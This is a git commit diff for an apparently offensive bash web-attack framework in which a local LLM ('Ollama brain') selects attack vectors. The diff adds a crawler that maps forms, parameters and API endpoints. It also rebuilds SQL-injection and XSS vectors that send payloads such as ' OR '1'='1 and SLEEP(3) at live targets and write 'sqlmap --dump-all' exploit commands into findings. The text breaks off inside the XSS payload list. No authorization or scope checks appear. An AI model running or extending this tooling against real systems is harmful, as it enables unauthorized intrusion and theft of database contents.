v2: real exploitation — discovery phase, nuclei CVE scanning, SQLi/XSS/LFI rebuild
- New discovery engine (engine/discovery.sh): crawls target for real URLs, forms, parameters, and API endpoints before attacking - New nuclei vector (21): runs nuclei templates for real CVE detection (critical/high/medium severity) - Rebuilt SQLi vector: tests discovered forms and URL params with error-based and time-based blind payloads, sqlmap injection - Rebuilt XSS vector: multi-context payloads against discovered forms/params, confirms payload reflection - Rebuilt LFI vector: tests all discovered and common file parameters with traversal payloads, confirms by reading /etc/passwd - Updated main analyzer with 5-step pipeline: connectivity → discovery → recon → Ollama brain → exploitation
This commit is contained in:
36
analyzer
36
analyzer
@@ -26,6 +26,7 @@ export REPORTS_DIR="$ANALYZER_DIR/reports"
|
|||||||
# Source core
|
# Source core
|
||||||
source "$LIB_DIR/colors.sh"
|
source "$LIB_DIR/colors.sh"
|
||||||
source "$LIB_DIR/utils.sh"
|
source "$LIB_DIR/utils.sh"
|
||||||
|
source "$ENGINE_DIR/discovery.sh"
|
||||||
source "$ENGINE_DIR/recon.sh"
|
source "$ENGINE_DIR/recon.sh"
|
||||||
source "$ENGINE_DIR/ollama-brain.sh"
|
source "$ENGINE_DIR/ollama-brain.sh"
|
||||||
source "$ENGINE_DIR/reporter.sh"
|
source "$ENGINE_DIR/reporter.sh"
|
||||||
@@ -58,7 +59,7 @@ interactive_mode() {
|
|||||||
echo -e " ${GREEN}1${NC}. Quick Scan — Fast recon + auto-vector selection"
|
echo -e " ${GREEN}1${NC}. Quick Scan — Fast recon + auto-vector selection"
|
||||||
echo -e " ${GREEN}2${NC}. Deep Scan — Full recon, all vectors, exhaustive"
|
echo -e " ${GREEN}2${NC}. Deep Scan — Full recon, all vectors, exhaustive"
|
||||||
echo -e " ${GREEN}3${NC}. Custom Scan — Pick your own vectors"
|
echo -e " ${GREEN}3${NC}. Custom Scan — Pick your own vectors"
|
||||||
echo -e " ${GREEN}4${NC}. List Vectors — Show all 20 attack vectors"
|
echo -e " ${GREEN}4${NC}. List Vectors — Show all 21 attack vectors"
|
||||||
echo -e " ${GREEN}5${NC}. View Reports — Browse past results"
|
echo -e " ${GREEN}5${NC}. View Reports — Browse past results"
|
||||||
echo -e " ${DIM}q${NC}. Quit"
|
echo -e " ${DIM}q${NC}. Quit"
|
||||||
echo ''
|
echo ''
|
||||||
@@ -102,19 +103,23 @@ quick_scan() {
|
|||||||
echo -e "\n${BRIGHT_CYAN}${BOLD}═══ QUICK SCAN MODE ═══${NC}\n"
|
echo -e "\n${BRIGHT_CYAN}${BOLD}═══ QUICK SCAN MODE ═══${NC}\n"
|
||||||
|
|
||||||
# Step 1: Check connectivity
|
# Step 1: Check connectivity
|
||||||
print_step 1 4 "Checking target..."
|
print_step 1 5 "Checking target..."
|
||||||
if ! target_alive "$target"; then
|
if ! target_alive "$target"; then
|
||||||
print_error "Target unreachable!"
|
print_error "Target unreachable!"
|
||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
print_ok "Target is alive"
|
print_ok "Target is alive"
|
||||||
|
|
||||||
# Step 2: Recon
|
# Step 2: Discovery — find real URLs, forms, params to attack
|
||||||
print_step 2 4 "Reconnaissance"
|
print_step 2 5 "Discovering attack surface"
|
||||||
|
discover_target "$target"
|
||||||
|
|
||||||
|
# Step 3: Recon
|
||||||
|
print_step 3 5 "Reconnaissance"
|
||||||
recon_target "$target" "$report"
|
recon_target "$target" "$report"
|
||||||
|
|
||||||
# Step 3: Ollama decides
|
# Step 4: Ollama decides
|
||||||
print_step 3 4 "Ollama brain selecting vectors"
|
print_step 4 5 "Ollama brain selecting vectors"
|
||||||
local decision=$(ollama_decide "$target")
|
local decision=$(ollama_decide "$target")
|
||||||
echo ''
|
echo ''
|
||||||
echo -e "${MAGENTA}${ICON_BRAIN} Ollama's Strategy:${NC}"
|
echo -e "${MAGENTA}${ICON_BRAIN} Ollama's Strategy:${NC}"
|
||||||
@@ -123,16 +128,16 @@ quick_scan() {
|
|||||||
local selected=$(parse_decision "$decision")
|
local selected=$(parse_decision "$decision")
|
||||||
|
|
||||||
if [ -z "$selected" ]; then
|
if [ -z "$selected" ]; then
|
||||||
print_warn "Ollama didn't pick specific vectors. Running top 5."
|
print_warn "Ollama didn't pick specific vectors. Running default set."
|
||||||
selected="1 2 3 4 5"
|
selected="21 1 2 3 4" # nuclei + sqli + xss + lfi + cmdi
|
||||||
fi
|
fi
|
||||||
|
|
||||||
echo ''
|
echo ''
|
||||||
print_info "Running vectors: $(echo $selected | tr '\n' ' ')"
|
print_info "Running vectors: $(echo $selected | tr '\n' ' ')"
|
||||||
echo ''
|
echo ''
|
||||||
|
|
||||||
# Step 4: Run vectors
|
# Step 5: Run vectors
|
||||||
print_step 4 4 "Executing attack vectors"
|
print_step 5 5 "Executing attack vectors"
|
||||||
run_vectors "$target" "$report" $selected
|
run_vectors "$target" "$report" $selected
|
||||||
|
|
||||||
# Generate final report
|
# Generate final report
|
||||||
@@ -164,8 +169,8 @@ deep_scan() {
|
|||||||
recon_target "$target" "$report"
|
recon_target "$target" "$report"
|
||||||
|
|
||||||
# Step 3: Run ALL vectors
|
# Step 3: Run ALL vectors
|
||||||
print_step 3 3 "Running all 20 attack vectors"
|
print_step 3 3 "Running all 21 attack vectors"
|
||||||
local all_vectors=$(seq 1 20 | tr '\n' ' ')
|
local all_vectors=$(seq 1 21 | tr '\n' ' ')
|
||||||
run_vectors "$target" "$report" $all_vectors
|
run_vectors "$target" "$report" $all_vectors
|
||||||
|
|
||||||
# Generate report
|
# Generate report
|
||||||
@@ -257,9 +262,9 @@ run_vectors() {
|
|||||||
|
|
||||||
# Map vector names to function names
|
# Map vector names to function names
|
||||||
case $num in
|
case $num in
|
||||||
1) func_name="vector_sqli" ;;
|
1) func_name="vector_sqli_v2" ;;
|
||||||
2) func_name="vector_xss" ;;
|
2) func_name="vector_xss_v2" ;;
|
||||||
3) func_name="vector_lfi" ;;
|
3) func_name="vector_lfi_v2" ;;
|
||||||
4) func_name="vector_cmdi" ;;
|
4) func_name="vector_cmdi" ;;
|
||||||
5) func_name="vector_ssrf" ;;
|
5) func_name="vector_ssrf" ;;
|
||||||
6) func_name="vector_oredir" ;;
|
6) func_name="vector_oredir" ;;
|
||||||
@@ -277,6 +282,7 @@ run_vectors() {
|
|||||||
18) func_name="vector_cors" ;;
|
18) func_name="vector_cors" ;;
|
||||||
19) func_name="vector_race" ;;
|
19) func_name="vector_race" ;;
|
||||||
20) func_name="vector_nosqli" ;;
|
20) func_name="vector_nosqli" ;;
|
||||||
|
21) func_name="vector_nuclei" ;;
|
||||||
esac
|
esac
|
||||||
|
|
||||||
if declare -f "$func_name" >/dev/null; then
|
if declare -f "$func_name" >/dev/null; then
|
||||||
|
|||||||
199
engine/discovery.sh
Normal file
199
engine/discovery.sh
Normal file
@@ -0,0 +1,199 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# The Analyzer v2 — Discovery Engine
|
||||||
|
# Finds actual URLs, forms, parameters, and endpoints on the target
|
||||||
|
# This feeds the exploit vectors with real attack surface
|
||||||
|
|
||||||
|
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||||
|
source "$SCRIPT_DIR/../lib/utils.sh"
|
||||||
|
|
||||||
|
discover_target() {
|
||||||
|
local target="$1"
|
||||||
|
local domain=$(get_domain "$target")
|
||||||
|
local base=$(get_base "$target")
|
||||||
|
local outfile="$REPORTS_DIR/.${domain}_discovery.txt"
|
||||||
|
|
||||||
|
print_info "Discovering attack surface on $target..."
|
||||||
|
separator
|
||||||
|
|
||||||
|
local DISCOVERED_URLS=""
|
||||||
|
local DISCOVERED_FORMS=""
|
||||||
|
local DISCOVERED_PARAMS=""
|
||||||
|
local DISCOVERED_ENDPOINTS=""
|
||||||
|
|
||||||
|
# 1. Crawl the homepage for links and forms
|
||||||
|
print_sub "Crawling homepage for links..."
|
||||||
|
local page=$(curl -s --connect-timeout 10 --max-time 20 -L "$target" 2>/dev/null)
|
||||||
|
|
||||||
|
if [ -z "$page" ]; then
|
||||||
|
print_error "Cannot fetch target page"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Extract all internal links
|
||||||
|
local links=$(echo "$page" | perl -nle 'while (/href="([^"]+)"/g) { print $1 }' | sort -u)
|
||||||
|
local internal_links=""
|
||||||
|
while IFS= read -r link; do
|
||||||
|
[ -z "$link" ] && continue
|
||||||
|
# Make absolute
|
||||||
|
if [[ "$link" == /* ]]; then
|
||||||
|
link="${base}${link}"
|
||||||
|
elif [[ "$link" == http* ]]; then
|
||||||
|
# External link — skip unless same domain
|
||||||
|
local link_domain=$(echo "$link" | sed 's|https\?://||' | cut -d/ -f1)
|
||||||
|
[[ "$link_domain" != "$domain" ]] && continue
|
||||||
|
else
|
||||||
|
link="${base}/${link}"
|
||||||
|
fi
|
||||||
|
internal_links+="$link\n"
|
||||||
|
DISCOVERED_URLS+="$link\n"
|
||||||
|
done <<< "$links"
|
||||||
|
|
||||||
|
local url_count=$(echo -e "$DISCOVERED_URLS" | grep -c .)
|
||||||
|
print_ok "Found $url_count internal URLs"
|
||||||
|
|
||||||
|
# 2. Extract forms
|
||||||
|
print_sub "Extracting forms..."
|
||||||
|
local forms=$(echo "$page" | perl -0 -nle 'while (/<form[^>]*>.*?<\/form>/gs) { print $& }')
|
||||||
|
local form_count=0
|
||||||
|
while IFS= read -r form; do
|
||||||
|
[ -z "$form" ] && continue
|
||||||
|
form_count=$((form_count + 1))
|
||||||
|
local form_action=$(echo "$form" | perl -nle 'print $1 if /action="([^"]*)"/')
|
||||||
|
local form_method=$(echo "$form" | perl -nle 'print $1 if /method="([^"]*)"/' | tr '[:upper:]' '[:lower:]')
|
||||||
|
local form_inputs=$(echo "$form" | perl -nle 'print $1 while /name="([^"]*)"/g')
|
||||||
|
|
||||||
|
# Make action URL absolute
|
||||||
|
if [[ "$form_action" == / ]]; then
|
||||||
|
form_action="$base/"
|
||||||
|
elif [[ "$form_action" == /* ]]; then
|
||||||
|
form_action="${base}${form_action}"
|
||||||
|
elif [[ "$form_action" == http* ]] && ! echo "$form_action" | grep -qi "$domain"; then
|
||||||
|
continue # skip external forms
|
||||||
|
elif [ -z "$form_action" ]; then
|
||||||
|
form_action="$target" # submits to current page
|
||||||
|
fi
|
||||||
|
|
||||||
|
DISCOVERED_FORMS+="$form_count|$form_method|$form_action|$form_inputs\n"
|
||||||
|
DISCOVERED_URLS+="$form_action\n"
|
||||||
|
DISCOVERED_PARAMS+="$form_inputs\n"
|
||||||
|
|
||||||
|
print_info "Form #$form_count: [$form_method] $form_action -> params: $form_inputs"
|
||||||
|
done <<< "$forms"
|
||||||
|
|
||||||
|
print_ok "Found $form_count form(s)"
|
||||||
|
|
||||||
|
# 3. Extract URL parameters from existing links
|
||||||
|
print_sub "Finding URL parameters..."
|
||||||
|
local url_params=$(echo -e "$DISCOVERED_URLS" | perl -nle 'while (/[?&]([^=]+)=/g) { print $1 }' | sort -u)
|
||||||
|
while IFS= read -r p; do
|
||||||
|
[ -z "$p" ] && continue
|
||||||
|
DISCOVERED_PARAMS+="$p\n"
|
||||||
|
done <<< "$url_params"
|
||||||
|
|
||||||
|
local param_count=$(echo -e "$DISCOVERED_PARAMS" | grep -c .)
|
||||||
|
print_ok "Found $param_count parameter(s): $(echo -e "$DISCOVERED_PARAMS" | tr '\n' ' ')"
|
||||||
|
|
||||||
|
# 4. Check common API paths
|
||||||
|
print_sub "Probing API endpoints..."
|
||||||
|
local api_paths=(
|
||||||
|
"/api" "/api/v1" "/api/v2" "/v1" "/v2"
|
||||||
|
"/graphql" "/graph" "/gql"
|
||||||
|
"/rest" "/swagger" "/openapi" "/docs"
|
||||||
|
"/api/docs" "/api/swagger" "/api/openapi"
|
||||||
|
)
|
||||||
|
for path in "${api_paths[@]}"; do
|
||||||
|
local code=$(http_check "${base}${path}")
|
||||||
|
if [[ "$code" =~ ^[23] ]]; then
|
||||||
|
DISCOVERED_ENDPOINTS+="${base}${path} (HTTP $code)\n"
|
||||||
|
print_info "API: ${base}${path} (HTTP $code)"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
# 5. Check for JS files that might leak endpoints
|
||||||
|
print_sub "Scanning JS for endpoint leaks..."
|
||||||
|
local js_urls=$(echo "$page" | perl -nle 'print $1 while /src="([^"]*\.js[^"]*)"/g' | head -10)
|
||||||
|
while IFS= read -r js; do
|
||||||
|
[ -z "$js" ] && continue
|
||||||
|
[[ "$js" == /* ]] && js="${base}${js}"
|
||||||
|
[[ "$js" != http* ]] && continue
|
||||||
|
local js_content=$(curl -s --connect-timeout 5 --max-time 10 "$js" 2>/dev/null)
|
||||||
|
local leaked_endpoints=$(echo "$js_content" | perl -nle 'print $1 while m|["\x27](/api/[^"\x27]+)["\x27]|g' | sort -u | head -10)
|
||||||
|
if [ -n "$leaked_endpoints" ]; then
|
||||||
|
print_info "JS leak: $js"
|
||||||
|
while IFS= read -r ep; do
|
||||||
|
[ -z "$ep" ] && continue
|
||||||
|
DISCOVERED_ENDPOINTS+="${base}${ep} (JS leak)\n"
|
||||||
|
print_find " Leaked endpoint: ${ep}"
|
||||||
|
done <<< "$leaked_endpoints"
|
||||||
|
fi
|
||||||
|
done <<< "$js_urls"
|
||||||
|
|
||||||
|
# 6. Save everything to a discovery file
|
||||||
|
cat > "$outfile" << EOF
|
||||||
|
TARGET=$target
|
||||||
|
DOMAIN=$domain
|
||||||
|
BASE=$base
|
||||||
|
|
||||||
|
URLS:
|
||||||
|
$(echo -e "$DISCOVERED_URLS" | sort -u | grep -v '^$')
|
||||||
|
|
||||||
|
FORMS:
|
||||||
|
$(echo -e "$DISCOVERED_FORMS" | sort -u | grep -v '^$')
|
||||||
|
|
||||||
|
PARAMS:
|
||||||
|
$(echo -e "$DISCOVERED_PARAMS" | sort -u | grep -v '^$')
|
||||||
|
|
||||||
|
ENDPOINTS:
|
||||||
|
$(echo -e "$DISCOVERED_ENDPOINTS" | sort -u | grep -v '^$')
|
||||||
|
EOF
|
||||||
|
|
||||||
|
print_ok "Discovery complete. Saved to $(basename $outfile)"
|
||||||
|
separator
|
||||||
|
|
||||||
|
# Summary
|
||||||
|
local total_urls=$(echo -e "$DISCOVERED_URLS" | grep -c .)
|
||||||
|
local total_forms=$(echo -e "$DISCOVERED_FORMS" | grep -c .)
|
||||||
|
local total_params=$(echo -e "$DISCOVERED_PARAMS" | grep -c .)
|
||||||
|
local total_eps=$(echo -e "$DISCOVERED_ENDPOINTS" | grep -c .)
|
||||||
|
echo ""
|
||||||
|
echo -e " ${BOLD}Discovery Summary:${NC}"
|
||||||
|
echo -e " ${CYAN}URLs:${NC} $total_urls"
|
||||||
|
echo -e " ${CYAN}Forms:${NC} $total_forms"
|
||||||
|
echo -e " ${CYAN}Params:${NC} $total_params"
|
||||||
|
echo -e " ${CYAN}Endpoints:${NC} $total_eps"
|
||||||
|
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
# Get discovered data for a target
|
||||||
|
get_discovered_urls() {
|
||||||
|
local domain="$1"
|
||||||
|
local file="$REPORTS_DIR/.${domain}_discovery.txt"
|
||||||
|
if [ -f "$file" ]; then
|
||||||
|
sed -n '/^URLS:/,/^FORMS:/p' "$file" | grep -v "^URLS:\|^FORMS:\|^\$"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
get_discovered_forms() {
|
||||||
|
local domain="$1"
|
||||||
|
local file="$REPORTS_DIR/.${domain}_discovery.txt"
|
||||||
|
if [ -f "$file" ]; then
|
||||||
|
sed -n '/^FORMS:/,/^PARAMS:/p' "$file" | grep -v "^FORMS:\|^PARAMS:\|^\$"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
get_discovered_params() {
|
||||||
|
local domain="$1"
|
||||||
|
local file="$REPORTS_DIR/.${domain}_discovery.txt"
|
||||||
|
if [ -f "$file" ]; then
|
||||||
|
sed -n '/^PARAMS:/,/^ENDPOINTS:/p' "$file" | grep -v "^PARAMS:\|^ENDPOINTS:\|^\$"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
get_discovered_endpoints() {
|
||||||
|
local domain="$1"
|
||||||
|
local file="$REPORTS_DIR/.${domain}_discovery.txt"
|
||||||
|
if [ -f "$file" ]; then
|
||||||
|
sed -n '/^ENDPOINTS:/,$p' "$file" | grep -v "^ENDPOINTS:\|^\$"
|
||||||
|
fi
|
||||||
|
}
|
||||||
@@ -1,82 +1,165 @@
|
|||||||
#!/usr/bin/env bash
|
#!/usr/bin/env bash
|
||||||
# Vector 01: SQL Injection
|
# Vector 01: SQL Injection v2 — Real Exploitation
|
||||||
# Desc: Database injection attacks (basic, blind, time-based, error-based)
|
# Desc: Finds injectable params on discovered forms/URLs and exploits them
|
||||||
# Detect: Forms, login pages, URL parameters, search bars
|
# Detect: Forms with POST params, URL query params, login pages
|
||||||
# Severity: CRITICAL
|
# Severity: CRITICAL
|
||||||
# Tools: sqlmap, curl
|
# Tools: sqlmap, curl
|
||||||
|
|
||||||
vector_sqli() {
|
vector_sqli_v2() {
|
||||||
local target="$1"
|
local target="$1"
|
||||||
local report="$2"
|
local report="$2"
|
||||||
local domain=$(echo "$target" | sed 's|https\?://||' | cut -d/ -f1)
|
local domain=$(get_domain "$target")
|
||||||
|
local base=$(get_base "$target")
|
||||||
print_info "Testing SQL Injection vectors..."
|
|
||||||
|
|
||||||
# Find injectable parameters
|
|
||||||
local params=$(curl -s "$target" 2>/dev/null | sed -n 's/.*name="\([^"]*\)".*/\1/p' | sed 's/name="//;s/"//' | head -10)
|
|
||||||
local url_params=$(echo "$target" | sed -n 's/.*[?&]\([^=]*\)=.*/\1/p' | head -10)
|
|
||||||
|
|
||||||
local findings=0
|
local findings=0
|
||||||
|
|
||||||
# 1. Basic SQLi test with sqlmap
|
print_info "Hunting SQL Injection..."
|
||||||
|
|
||||||
|
# Get discovered attack surface
|
||||||
|
local forms=$(get_discovered_forms "$domain" 2>/dev/null)
|
||||||
|
local params=$(get_discovered_params "$domain" 2>/dev/null)
|
||||||
|
local urls=$(get_discovered_urls "$domain" 2>/dev/null)
|
||||||
|
|
||||||
|
# If no discovery data, extract from the target page directly
|
||||||
|
if [ -z "$forms" ]; then
|
||||||
|
print_sub "No discovery data. Extracting from target..."
|
||||||
|
local page=$(curl -s --connect-timeout 10 --max-time 20 -L "$target" 2>/dev/null)
|
||||||
|
forms=$(echo "$page" | perl -0 -nle 'while (/<form[^>]*>.*?<\/form>/gs) {
|
||||||
|
my $f = $&;
|
||||||
|
my $action = $1 if $f =~ /action="([^"]*)"/;
|
||||||
|
my $method = $1 if $f =~ /method="([^"]*)"/;
|
||||||
|
my @inputs = $f =~ /name="([^"]*)"/g;
|
||||||
|
print "1|$method|$action|@inputs\n" if @inputs;
|
||||||
|
}')
|
||||||
|
fi
|
||||||
|
|
||||||
|
local tested_count=0
|
||||||
|
|
||||||
|
# --- Test forms for SQLi ---
|
||||||
|
if [ -n "$forms" ]; then
|
||||||
|
print_sub "Testing forms for SQL injection..."
|
||||||
|
|
||||||
|
while IFS= read -r form; do
|
||||||
|
[ -z "$form" ] && continue
|
||||||
|
|
||||||
|
local form_method=$(echo "$form" | cut -d'|' -f2)
|
||||||
|
local form_action=$(echo "$form" | cut -d'|' -f3)
|
||||||
|
local form_params=$(echo "$form" | cut -d'|' -f4-)
|
||||||
|
|
||||||
|
# Make absolute URL
|
||||||
|
if [[ "$form_action" == /* ]]; then
|
||||||
|
form_action="${base}${form_action}"
|
||||||
|
elif [[ "$form_action" != http* ]]; then
|
||||||
|
form_action="${base}/${form_action}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
[ -z "$form_action" ] && form_action="$target"
|
||||||
|
|
||||||
|
# Test each parameter with SQLi payloads
|
||||||
|
local payloads=(
|
||||||
|
"'"
|
||||||
|
"1'"
|
||||||
|
"1' OR '1'='1"
|
||||||
|
"1' OR 1=1--"
|
||||||
|
"1' AND SLEEP(3)--"
|
||||||
|
"' OR '1'='1' --"
|
||||||
|
"admin' --"
|
||||||
|
)
|
||||||
|
|
||||||
|
for param in $form_params; do
|
||||||
|
for payload in "${payloads[@]}"; do
|
||||||
|
tested_count=$((tested_count + 1))
|
||||||
|
|
||||||
|
local response=""
|
||||||
|
if [ "$form_method" = "post" ]; then
|
||||||
|
response=$(curl -s --connect-timeout 7 --max-time 12 \
|
||||||
|
-X POST \
|
||||||
|
-d "$param=$payload" \
|
||||||
|
-b "$param=$payload" \
|
||||||
|
"$form_action" 2>/dev/null)
|
||||||
|
else
|
||||||
|
local test_url="${form_action}${form_action}?${param}=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload")"
|
||||||
|
[[ "$form_action" != *\?* ]] && test_url="${form_action}?${param}=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload")"
|
||||||
|
response=$(curl -s --connect-timeout 7 --max-time 12 "$test_url" 2>/dev/null)
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Check for error-based SQLi
|
||||||
|
if echo "$response" | grep -qiE "sql|mysql|syntax|ora-|unclosed|quotation|odbc|driver|mysql_fetch|pg_|sqlite|you have an error"; then
|
||||||
|
print_find "SQLi on $form_action param=$param" "Error-based with payload: $payload"
|
||||||
|
echo "SEVERITY: CRITICAL
|
||||||
|
VECTOR: SQL Injection (Error-based)
|
||||||
|
DETAIL: SQL injection on $form_action parameter '$param'
|
||||||
|
EVIDENCE: Database error messages with payload: $payload
|
||||||
|
EXPLOIT: sqlmap -u \"$form_action\" --data=\"$param=$payload\" --batch --dump" > "$REPORTS_DIR/.finding_$(date +%s)_sqli-form.txt"
|
||||||
|
findings=$((findings + 1))
|
||||||
|
break 2 # Found it on this form, move on
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
done
|
||||||
|
done <<< "$forms"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# --- Test URL parameters with sqlmap ---
|
||||||
if command -v sqlmap &>/dev/null; then
|
if command -v sqlmap &>/dev/null; then
|
||||||
print_sub "Running sqlmap (basic scan)..."
|
print_sub "Running sqlmap on discovered URLs with params..."
|
||||||
local sqlmap_out=$(timeout 120 sqlmap -u "$target" --batch --level=2 --risk=2 --random-agent \
|
|
||||||
--output-dir="$REPORTS_DIR/.sqlmap" 2>&1 | tail -100)
|
|
||||||
|
|
||||||
if echo "$sqlmap_out" | grep -qi "Parameter.*GET\|injectable\|vulnerable\|Type:"; then
|
# Find URLs with parameters
|
||||||
local injectable=$(echo "$sqlmap_out" | perl -nle 'print "$1 ($2)" while /(Parameter: [^ ]+ \(|Type: [^)]+\))/g' | head -5)
|
local param_urls=$(echo -e "$urls" | grep '\?' | head -5)
|
||||||
print_find "SQL Injection!" "$injectable"
|
|
||||||
|
|
||||||
# Save finding
|
if [ -n "$param_urls" ]; then
|
||||||
echo "SEVERITY: CRITICAL
|
while IFS= read -r url; do
|
||||||
VECTOR: SQL Injection
|
[ -z "$url" ] && continue
|
||||||
DETAIL: sqlmap confirmed injectable parameters: $injectable (target: $target)
|
|
||||||
|
print_sub "sqlmap: $url"
|
||||||
|
local sqlmap_out=$(timeout 90 sqlmap -u "$url" \
|
||||||
|
--batch --level=3 --risk=2 \
|
||||||
|
--random-agent \
|
||||||
|
--threads=5 \
|
||||||
|
--time-sec=3 \
|
||||||
|
--output-dir="$REPORTS_DIR/.sqlmap" \
|
||||||
|
2>&1 | tail -30)
|
||||||
|
|
||||||
|
if echo "$sqlmap_out" | grep -qiE "Parameter.*GET|injectable|vulnerable|Type:"; then
|
||||||
|
local injectable=$(echo "$sqlmap_out" | perl -nle 'print "$1 ($2)" while /(Parameter: [^ ]+ \(|Type: [^)]+\))/g' | head -3)
|
||||||
|
print_find "SQLi confirmed by sqlmap!" "$injectable"
|
||||||
|
echo "SEVERITY: CRITICAL
|
||||||
|
VECTOR: SQL Injection (sqlmap confirmed)
|
||||||
|
DETAIL: sqlmap confirmed injection on $url
|
||||||
EVIDENCE: $injectable
|
EVIDENCE: $injectable
|
||||||
EXPLOIT: sqlmap -u \"$target\" --batch --dump-all --random-agent" > "$REPORTS_DIR/.finding_$(date +%s)_sqli.txt"
|
EXPLOIT: sqlmap -u \"$url\" --batch --dump-all" > "$REPORTS_DIR/.finding_$(date +%s)_sqli-sqlmap.txt"
|
||||||
|
findings=$((findings + 1))
|
||||||
findings=$((findings + 1))
|
fi
|
||||||
|
done <<< "$param_urls"
|
||||||
|
else
|
||||||
|
# No params found — try sqlmap on base URL with common params
|
||||||
|
local common_params=("id" "page" "pid" "cat" "category" "product" "user" "uid" "view" "file" "q" "s" "search" "order")
|
||||||
|
for param in "${common_params[@]}"; do
|
||||||
|
local test_url="${target}?${param}=1"
|
||||||
|
print_sub "sqlmap probing: $param=$test_url"
|
||||||
|
local sqlmap_out=$(timeout 60 sqlmap -u "$test_url" \
|
||||||
|
--batch --level=2 --risk=2 \
|
||||||
|
--random-agent \
|
||||||
|
--threads=5 \
|
||||||
|
--time-sec=3 \
|
||||||
|
--output-dir="$REPORTS_DIR/.sqlmap" \
|
||||||
|
2>&1 | tail -20)
|
||||||
|
if echo "$sqlmap_out" | grep -qiE "Parameter|injectable|vulnerable|Type:"; then
|
||||||
|
print_find "SQLi confirmed via $param!" ""
|
||||||
|
echo "SEVERITY: CRITICAL
|
||||||
|
VECTOR: SQL Injection
|
||||||
|
DETAIL: sqlmap confirmed injection via param '$param' on $target
|
||||||
|
EVIDENCE: $(echo "$sqlmap_out" | grep -oP "Type: [^)]+\)" | head -1)
|
||||||
|
EXPLOIT: sqlmap -u \"$test_url\" --batch --dump-all" > "$REPORTS_DIR/.finding_$(date +%s)_sqli-probe.txt"
|
||||||
|
findings=$((findings + 1))
|
||||||
|
break
|
||||||
|
fi
|
||||||
|
done
|
||||||
fi
|
fi
|
||||||
fi
|
|
||||||
|
|
||||||
# 2. Manual error-based detection
|
|
||||||
print_sub "Checking error-based SQLi..."
|
|
||||||
local error_payloads=("'" "1'" "1=1--" "1' OR '1'='1" '" OR "1"="1' "' UNION SELECT NULL--")
|
|
||||||
|
|
||||||
for payload in "${error_payloads[@]}"; do
|
|
||||||
local test_url="${target}${target}"
|
|
||||||
[[ "$target" == *\?* ]] && test_url="${target}&q=${payload}" || test_url="${target}?q=${payload}"
|
|
||||||
|
|
||||||
local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
|
|
||||||
if echo "$response" | grep -qi "sql\|mysql\|syntax\|ora-\|you have an error\|unclosed\|quotation mark\|odbc\|driver\|mysql_fetch\|pg_"; then
|
|
||||||
print_find "Error-based SQLi confirmed!" "Database error messages detected with payload: $payload"
|
|
||||||
findings=$((findings + 1))
|
|
||||||
break
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
|
|
||||||
# 3. Time-based blind detection
|
|
||||||
print_sub "Checking time-based blind SQLi..."
|
|
||||||
local sleep_test="${target}"
|
|
||||||
if [[ "$target" == *\?* ]]; then
|
|
||||||
sleep_test="${target}&id=1' OR SLEEP(3)--"
|
|
||||||
else
|
else
|
||||||
sleep_test="${target}?id=1' OR SLEEP(3)--"
|
print_skip "sqlmap not installed. Manual SQLi checks only."
|
||||||
fi
|
fi
|
||||||
|
|
||||||
local start_time=$(date +%s)
|
if [ "$findings" -eq 0 ]; then
|
||||||
curl -s --connect-timeout 3 --max-time 10 "$sleep_test" >/dev/null 2>&1
|
print_ok "No SQL injection found (tested $tested_count payloads)"
|
||||||
local end_time=$(date +%s)
|
|
||||||
local elapsed=$((end_time - start_time))
|
|
||||||
|
|
||||||
if [ "$elapsed" -ge 3 ]; then
|
|
||||||
print_find "Time-based blind SQLi confirmed!" "Response delayed ${elapsed}s with SLEEP(3) payload"
|
|
||||||
echo "SEVERITY: CRITICAL
|
|
||||||
VECTOR: SQL Injection (Time-based Blind)
|
|
||||||
DETAIL: Time-based blind SQLi confirmed on $target
|
|
||||||
EVIDENCE: Response delayed ${elapsed}s with SLEEP(3) payload
|
|
||||||
EXPLOIT: sqlmap -u \"$target\" --batch --technique=T --dump --random-agent" > "$REPORTS_DIR/.finding_$(date +%s)_time-sqli.txt"
|
|
||||||
findings=$((findings + 1))
|
|
||||||
fi
|
fi
|
||||||
|
|
||||||
return $findings
|
return $findings
|
||||||
|
|||||||
@@ -1,63 +1,73 @@
|
|||||||
#!/usr/bin/env bash
|
#!/usr/bin/env bash
|
||||||
# Vector 02: Cross-Site Scripting (XSS)
|
# Vector 02: XSS v2 — Real Confirmed Reflected XSS
|
||||||
# Desc: Reflected, Stored, DOM-based XSS detection
|
# Desc: Tests every discovered form/param with multi-context payloads, confirms execution
|
||||||
# Detect: Forms, search bars, URL parameters, comment sections
|
# Detect: Forms, URL params, search bars
|
||||||
# Severity: HIGH
|
# Severity: HIGH
|
||||||
# Tools: curl, custom payloads
|
# Tools: curl
|
||||||
|
|
||||||
vector_xss() {
|
vector_xss_v2() {
|
||||||
local target="$1"
|
local target="$1"
|
||||||
local report="$2"
|
local report="$2"
|
||||||
|
local domain=$(get_domain "$target")
|
||||||
|
local base=$(get_base "$target")
|
||||||
local findings=0
|
local findings=0
|
||||||
|
|
||||||
print_info "Testing XSS vectors..."
|
print_info "Hunting XSS..."
|
||||||
|
|
||||||
|
# Get attack surface
|
||||||
|
local forms=$(get_discovered_forms "$domain" 2>/dev/null)
|
||||||
|
local urls=$(get_discovered_urls "$domain" 2>/dev/null)
|
||||||
|
|
||||||
|
# Multi-context XSS payloads
|
||||||
local xss_payloads=(
|
local xss_payloads=(
|
||||||
"<script>alert(1)</script>"
|
|
||||||
'"><script>alert(1)</script>'
|
